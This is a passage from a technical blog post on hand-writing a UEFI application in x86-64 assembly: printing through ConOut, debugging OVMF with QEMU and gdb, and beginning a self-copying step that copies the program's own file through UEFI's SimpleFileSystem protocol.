&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">EFI_TEXT_TEST_STRING&lt;/span> &lt;span class="n">TestString&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_TEXT_QUERY_MODE&lt;/span> &lt;span class="n">QueryMode&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_TEXT_SET_MODE&lt;/span> &lt;span class="n">SetMode&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_TEXT_SET_ATTRIBUTE&lt;/span> &lt;span class="n">SetAttribute&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_TEXT_CLEAR_SCREEN&lt;/span> &lt;span class="n">ClearScreen&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_TEXT_SET_CURSOR_POSITION&lt;/span> &lt;span class="n">SetCursorPosition&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_TEXT_ENABLE_CURSOR&lt;/span> &lt;span class="n">EnableCursor&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">SIMPLE_TEXT_OUTPUT_MODE&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">Mode&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span> &lt;span class="n">EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>This is the prototype for &lt;a href="https://uefi.org/specs/UEFI/2.10/12_Protocols_Console_Support.html#efi-simple-text-output-protocol-outputstring">OutputString&lt;/a> again, with the registers that these arguments are tied to.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="n">EFIAPI&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">EFI_TEXT_STRING&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IN&lt;/span> &lt;span class="n">EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">This&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1">// rcx
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">IN&lt;/span> &lt;span class="n">CHAR16&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">String&lt;/span> &lt;span class="c1">// rdx
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;code>ConOut&lt;/code> is both the handle to the console&amp;rsquo;s text output, and contains functions for acting on it. I grabbed the SystemTable from rdx and put it in rax, then got the address of &lt;code>ConOut&lt;/code> and put it in rcx. Then I copied it back to rax and got the address of &lt;code>OutputString()&lt;/code>. Before calling, there needs to be a pointer to the string we want to print in rdx. I used the stack to push &lt;code>&amp;quot;4\n&amp;quot;&lt;/code> and then move rsp into rdx to get the address of this string.&lt;/p>
&lt;blockquote>
&lt;p>Note: UEFI uses &lt;a href="https://en.wikipedia.org/wiki/UTF-16">UTF-16&lt;/a> for strings and filenames. In practice, this just means you need to add 00s between normal ASCII characters and end your string with two NULL bytes, instead of just 1.&lt;/p>
&lt;/blockquote>
&lt;p>Okay sick, does it work?&lt;/p>
&lt;p>&lt;img src="https://n0.lol/bggp4-uefi/Print4_268bytes.png" alt="">&lt;/p>
&lt;p>Yes! Sweet, now that we know how to set up and call functions, lets try to implement more of them in assembly!&lt;/p>
&lt;h2 id="quick-note-on-debugging">Quick Note On Debugging&lt;/h2>
&lt;p>UEFI has various debugging features built in. The documentation can be a little confusing, because there are many different debugging situations described. If you are using EDK2, there is good documentation on how to use &lt;a href="https://github.com/tianocore/tianocore.github.io/wiki/How-to-debug-OVMF-with-QEMU-using-GDB">gdb for debugging&lt;/a>.&lt;/p>
&lt;p>The OS Dev wiki has some info on &lt;a href="https://wiki.osdev.org/Debugging_UEFI_applications_with_GDB">debugging with gdb&lt;/a> as well.&lt;/p>
&lt;p>To enable gdb debugging with QEMU, you need the &lt;code>-s&lt;/code> flag in your command line arguments to QEMU:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">/usr/bin/qemu-system-x86_64 &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -drive &lt;span class="k">if&lt;/span>&lt;span class="o">=&lt;/span>pflash,format&lt;span class="o">=&lt;/span>raw,file&lt;span class="o">=&lt;/span>./OVMF.fd &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -drive &lt;span class="nv">format&lt;/span>&lt;span class="o">=&lt;/span>raw,file&lt;span class="o">=&lt;/span>fat:rw:./root &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -net none &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -nographic &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -s
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Then you can start debugging using gdb.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">gdb root/example.efi
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">...
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">(&lt;/span>gdb&lt;span class="o">)&lt;/span> target remote :1234
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When I started working on my assembly UEFI app, I had trouble debugging it with gdb. I had originally been using the gdb extension &lt;a href="https://github.com/hugsy/gef">gef&lt;/a>, but support for UEFI, especially handcrafted apps, is not really all there yet. Only once I started using vanilla gdb was I able to remotely debug in QEMU.&lt;/p>
&lt;p>One of the issues that made it even more frustrating to debug was that I kept getting weird crashes that I believe were the result of my original tests, which possibly corrupted my OVMF image. After restoring to a known good OVMF.fd file, things started working again. I included this &lt;a href="OVMF.fd">OVMF.fd&lt;/a> file in the repo.&lt;/p>
&lt;p>You don&amp;rsquo;t have to do this, but I added this to my &lt;code>~/.gdbinit&lt;/code> file to enable running multiple commands on each line using gdb:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># multiple commands&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">python&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">__future__&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">print_function&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">gdb&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">Cmds&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">gdb&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Command&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;run multiple commands separated by &amp;#39;;&amp;#39;&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="fm">__init__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">gdb&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Command&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="fm">__init__&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;cmds&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">gdb&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">COMMAND_DATA&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">gdb&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">COMPLETE_SYMBOL&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="kc">True&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">invoke&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">arg&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">from_tty&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">fragment&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">arg&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">split&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;;&amp;#39;&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># from_tty is passed in from invoke.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># These commands should be considered interactive if the command&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># that invoked them is interactive.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># to_string is false. We just want to write the output of the commands, not capture it.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">gdb&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">execute&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">fragment&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">from_tty&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">from_tty&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">to_string&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kc">False&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">Cmds&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">end&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>This let me create oneliners of commands separated by semicolons that I could paste or use in scripts that was a bit easier to manage&lt;/p>
&lt;p>Example:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-text" data-lang="text">&lt;span class="line">&lt;span class="cl">cmds stepi; echo \[CODE\]\n ; x/3i $rip ; echo \[REGS\]\n ; i r rax rbx rcx rdx rsi rdi rbp rsp r8 r9 r10 r11 r12 r13 r14 r15 rip eflags; echo \[STACK\]\n ; x/20gx $sp
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>There are definitely other ways to do this, but this was a little workaround that was good enough for my purposes.&lt;/p>
&lt;h2 id="self-replicating">Self Replicating&lt;/h2>
&lt;p>&lt;img src="https://n0.lol/bggp4-uefi/Shadow_Clone_Jutsu.png" alt="">&lt;/p>
&lt;p>Now that debugging was set up, it was time to understand how to do self-replication from a UEFI perspective.&lt;/p>
&lt;p>When writing self replicating code for an operating system, there are usually system functions that can help you work with the filesystem to open and copy files. Since UEFI is operating below the OS level, there are some extra things that need to be done, but otherwise the filesystem functionality is similar to many others.&lt;/p>
&lt;p>These are the things you generally need to do to copy a file on a given filesystem:&lt;/p>
&lt;ul>
&lt;li>Open the original file&lt;/li>
&lt;li>Open a new file&lt;/li>
&lt;li>Write the contents of the original file to the new file&lt;/li>
&lt;li>Close both files&lt;/li>
&lt;/ul>
&lt;p>The key difference for doing this on UEFI is that the filesystem needs to be located first, and then opened and accessed via an handle. It&amp;rsquo;s similar to needing to mount a disk before you start interacting with files on it.&lt;/p>
&lt;p>To see how others did this, I started by looking at some examples I had found of people doing FileIO tests. This one in particular had the most examples: &lt;a href="https://github.com/zhenghuadai/uefi-programming/blob/master/book/FileIo/TestFileIo.c">https://github.com/zhenghuadai/uefi-programming/blob/master/book/FileIo/TestFileIo.c&lt;/a>&lt;/p>
&lt;p>While examing this code, I took inventory of the UEFI calls it was doing. All I really needed at this point were the types and the function names, and then I could write with assembly from the spec directly.&lt;/p>
&lt;p>I saw that their program had a function called &lt;code>GetFileIo()&lt;/code> which passed a pointer to an &lt;a href="https://uefi.org/specs/UEFI/2.10/13_Protocols_Media_Access.html#file-protocol">EFI_FILE_PROTOCOL&lt;/a> type variable named Root. This variable represents the filesystem root, and is opened by the call to &lt;code>OpenVolume()&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="n">EFI_STATUS&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nf">GetFileIo&lt;/span>&lt;span class="p">(&lt;/span> &lt;span class="n">EFI_FILE_PROTOCOL&lt;/span>&lt;span class="o">**&lt;/span> &lt;span class="n">Root&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_STATUS&lt;/span> &lt;span class="n">Status&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">EFI_SIMPLE_FILE_SYSTEM_PROTOCOL&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">SimpleFileSystem&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Status&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">gBS&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="nf">LocateProtocol&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">gEfiSimpleFileSystemProtocolGuid&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">NULL&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">(&lt;/span>&lt;span class="n">VOID&lt;/span>&lt;span class="o">**&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">&amp;amp;&lt;/span>&lt;span class="n">SimpleFileSystem&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nf">EFI_ERROR&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Status&lt;/span>&lt;span class="p">))&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">//未找到EFI_SIMPLE_FILE_SYSTEM_PROTOCOL
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="k">return&lt;/span> &lt;span class="n">Status&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">Status&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">SimpleFileSystem&lt;/span>&lt;span class="o">-&amp;gt;&lt;/span>&lt;span class="nf">OpenVolume&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">SimpleFileSystem&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">Root&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">Status&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>The code uses the &lt;a href="https://uefi.org/specs/UEFI/2.10/13_Protocols_Media_Access.html#simple-file-system-protocol">SimpleFileSystem protocol&lt;/a> to get a pointer to a structure that has the OpenVolume function we need. OpenVolume is then called on the Root pointer which populates this with the address of the Filesystem Root handle.&lt;/p>
&lt;h3 id="wait-wth-are-protocols">Wait WTH are protocols??&lt;/h3>
&lt;p>&lt;a href="https://uefi.org/specs/UEFI/2.10/02_Overview.html#protocols">Protocols&lt;/a> are basically just collections of services that a specific devices support. They are referenced with a GUID.&lt;/p>
&lt;p>&lt;img src="https://n0.lol/bggp4-uefi/HandleProtocol.png" alt="">&lt;/p>
&lt;p>Each device has their own set of protocols. These can be accessed through a number of functions, and you can even install your own &lt;a href="https://uefi.org/specs/UEFI/2.10/07_Services_Boot_Services.html#protocol-handler-services">protocol handlers&lt;/a> to a device if you want.&lt;/p>
&lt;p>&lt;img src="https://n0.lol/bggp4-uefi/Protocol_Interfaces.png" alt="">&lt;/p>
&lt;p>&lt;a href="https://uefi.org/specs/UEFI/2.10/07_Services_Boot_Services.html#efi-boot-services-handleprotocol">HandleProtocol&lt;/a> takes argument of a GUID that represents the protocol. In return, it gives you a pointer to a list of functions related to that protocol that you can reference and use.&lt;/p>
&lt;p>The technique that used in my code uses &lt;code>HandleProtocol()&lt;/code> instead of &lt;code>LocateProtocol()&lt;/code>. I saw HandleProtocol in other code I had already built, so I decided to use that instead of trying to set up a call to LocateProtocol.&lt;/p>
&lt;p>The docs themselves state that you should use &lt;a href="https://uefi.org/specs/UEFI/2.10/07_Services_Boot_Services.html#efi-boot-services-openprotocol">OpenProtocol&lt;/a> instead of HandleProtocol, but it looked more complicated and I didn&amp;rsquo;t want to get off track implementing this behavior.&lt;/p>
&lt;h3 id="interacting-with-the-filesystem">Interacting with the Filesystem&lt;/h3>
&lt;p>This is the prototype for &lt;a href="https://uefi.org/specs/UEFI/2.10/07_Services_Boot_Services.html#efi-boot-services-handleprotocol">HandleProtocol&lt;/a>. Before the type in the arguments are either IN or OUT. IN is an input parameter, and OUT is a parameter that will be modified by the function you are calling.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="p">(&lt;/span>&lt;span class="n">EFIAPI&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">EFI_HANDLE_PROTOCOL&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">IN&lt;/span> &lt;span class="n">EFI_HANDLE&lt;/span> &lt;span class="n">Handle&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1">// rcx
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">IN&lt;/span> &lt;span class="n">EFI_GUID&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">Protocol&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="c1">// rdx
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="n">OUT&lt;/span> &lt;span class="n">VOID&lt;/span> &lt;span class="o">**&lt;/span>&lt;span class="n">Interface&lt;/span> &lt;span class="c1">// r8
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span> &lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>I wrote an implementation that makes this call to HandleProtocol to get a file system interface based on the documentation and referencing some compiled code. This just sets up the &lt;a href="https://github.com/tianocore/edk2/blob/master/MdePkg/Include/Protocol/SimpleFileSystem.h#L18">SimpleFileSystem Protocol GUID&lt;/a> and a pointer to the resulting interface, and then calls HandleProtocol.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-nasm" data-lang="nasm">&lt;span class="line">&lt;span class="cl">&lt;span class="nl">handleSimpleFileSystemProtocol:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Calling this to get a file system interface&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">xor&lt;/span> &lt;span class="nv">r8&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nv">r8&lt;/span> &lt;span class="c1">; r8 = SimpleFileSystemProtocolInterface&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="nv">r8&lt;/span> &lt;span class="c1">; [rbp-0x50] SimpleFileSystemProtocolInterface&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nv">r8&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nb">rsp&lt;/span> &lt;span class="c1">; r8 = *SimpleFileSystemProtocolInterface&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rdx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x3b7269c9a000398e&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">push&lt;/span> &lt;span class="nb">rdx&lt;/span> &lt;span class="c1">; [rbp-0x58] gEfiSimpleFileSystemProtocolGuid&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nf">mov&lt;/span> &lt;span class="nb">rdx&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mh">0x11d26459964e5b22&lt;/span>
